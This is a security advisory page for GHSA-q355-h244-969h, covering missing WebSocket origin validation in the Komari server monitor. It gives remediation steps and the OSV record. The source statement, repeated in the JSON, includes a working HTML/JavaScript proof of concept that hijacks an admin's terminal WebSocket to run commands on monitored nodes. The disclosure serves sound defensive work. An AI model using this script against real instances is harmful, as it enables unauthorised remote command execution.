GHSA-q355-h244-969h: Github.com/komari monitor/komari Komari Vulnerable To Cross-site WebSocket Vulnerability

HIGH
CWE-1385
Published
Advisory Summary

GHSA-q355-h244-969h is a HIGH komari vulnerable to cross-site websocket vulnerability (CWE-1385: Missing Origin Validation in WebSockets) affecting Github.com/komari monitor/komari libraries in the Go ecosystem. The issue involves komari vulnerable to cross-site websocket hijacking. Remediation is available by upgrading affected packages to version 0.0.0-20250809073044-53171affcaf0.

GHSA-q355-h244-969h at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-q355-h244-969h
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-1385: Missing Origin Validation in WebSockets
Affected Product Github.com/komari monitor/komari
Package Ecosystem Go
Published Date
Last Updated

How to Fix GHSA-q355-h244-969h

To remediate this vulnerability, upgrade all affected Github.com/komari monitor/komari dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/komari-monitor/komari fixed: 0.0.0-20250809073044-53171affcaf0
Upgrade github.com/komari-monitor/komari to 0.0.0-20250809073044-53171affcaf0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/komari-monitor/komari

How to Check if You Are Affected

To determine whether your application is affected by GHSA-q355-h244-969h, inspect your project dependencies for Github.com/komari monitor/komari:

inspect dependencies for github.com/komari-monitor/komari

Analyze the terminal output to locate any version of Github.com/komari monitor/komari in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20250809073044-53171affcaf0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1385: Missing Origin Validation in WebSockets, where the product uses a websocket, but it does not properly verify that the source of data or communication is valid. In Github.com/komari monitor/komari, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary WebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users ### Details https://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35 Any third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution ### PoC 1. Login in to your komari instance 2. Hosting the following HTML code on internet, replace `<komari-addr>` and `<target-uuid>` into yours 3. Visit this HTML page, you can see your node is executing `uptime` without your actions ``` <pre></pre> <script> const socket = new WebSocket("wss://<komari-addr>/api/admin/client/<target-uuid>/terminal"); socket.addEventListener("open", (event) => { const binaryBlob = new Blob(['uptime\n'], { type: 'application/octet-stream' }); socket.send(binaryBlob); }); socket.addEventListener("message", (event) => { event.data.text().then(x => {document.querySelector("pre").append(x)}); }); </script> ``` ### Impact An administrator of a Komari instance will execute commands on their nodes unnoticed when visiting a malware page.

GHSA-q355-h244-969h Affected Github.com/komari monitor/komari Versions

1 component(s)
Fixed Versions:
0.0.0-20250809073044-53171affcaf0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/komari-monitor/komari
Go
< 0.0.0-20250809073044-53171affcaf0
0.0.0-20250809073044-53171affcaf0

References

Frequently Asked Questions

What is GHSA-q355-h244-969h?
GHSA-q355-h244-969h is a security vulnerability in Github.com/komari monitor/komari involving Komari vulnerable to Cross-site WebSocket Hijacking under CWE-1385: Missing Origin Validation in WebSockets.
Which Github.com/komari monitor/komari versions are affected?
Affected versions include releases prior to 0.0.0-20250809073044-53171affcaf0 across affected packages: github.com/komari-monitor/komari.
What version fixes GHSA-q355-h244-969h?
Upgrading to 0.0.0-20250809073044-53171affcaf0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/komari-monitor/komari affected?
Yes, github.com/komari-monitor/komari is affected in releases prior to 0.0.0-20250809073044-53171affcaf0. Upgrade your dependency to 0.0.0-20250809073044-53171affcaf0 or later.
What CWE is associated with GHSA-q355-h244-969h?
GHSA-q355-h244-969h is classified under CWE-1385: Missing Origin Validation in WebSockets (The product uses a WebSocket, but it does not properly verify that the source of data or communication is valid.).
How can I check Go dependencies for GHSA-q355-h244-969h?
Run the dependency tree command: 'inspect dependencies for github.com/komari-monitor/komari'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-q355-h244-969h",
  "modified" : "2025-08-12T00:13:29Z",
  "published" : "2025-08-12T00:13:28Z",
  "aliases" : [ ],
  "summary" : "Komari vulnerable to Cross-site WebSocket Hijacking",
  "details" : "### Summary\n\nWebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users\n\n### Details\n\nhttps://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35\n\nAny third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution\n\n### PoC\n\n1. Login in to your komari instance\n2. Hosting the following HTML code on internet, replace `<komari-addr>` and `<target-uuid>` into yours\n3. Visit this HTML page, you can see your node is executing `uptime` without your actions\n\n```\n<pre></pre>\n<script>\nconst socket = new WebSocket(\"wss://<komari-addr>/api/admin/client/<target-uuid>/terminal\");\nsocket.addEventListener(\"open\", (event) => {\n  const binaryBlob = new Blob(['uptime\\n'], { type: 'application/octet-stream' });\n  socket.send(binaryBlob);\n});\nsocket.addEventListener(\"message\", (event) => {\n  event.data.text().then(x => {document.querySelector(\"pre\").append(x)});\n});\n</script>\n```\n\n### Impact\n\nAn administrator of a Komari instance will execute commands on their nodes unnoticed when visiting a malware page.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/komari-monitor/komari"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20250809073044-53171affcaf0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/komari-monitor/komari/security/advisories/GHSA-q355-h244-969h"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/komari-monitor/komari/commit/53171affcaf050145810efaaef420651a6e630be"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/komari-monitor/komari"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/komari-monitor/komari/releases/tag/1.0.4-fix2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1385" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-08-12T00:13:28Z",
    "nvd_published_at" : null
  }
}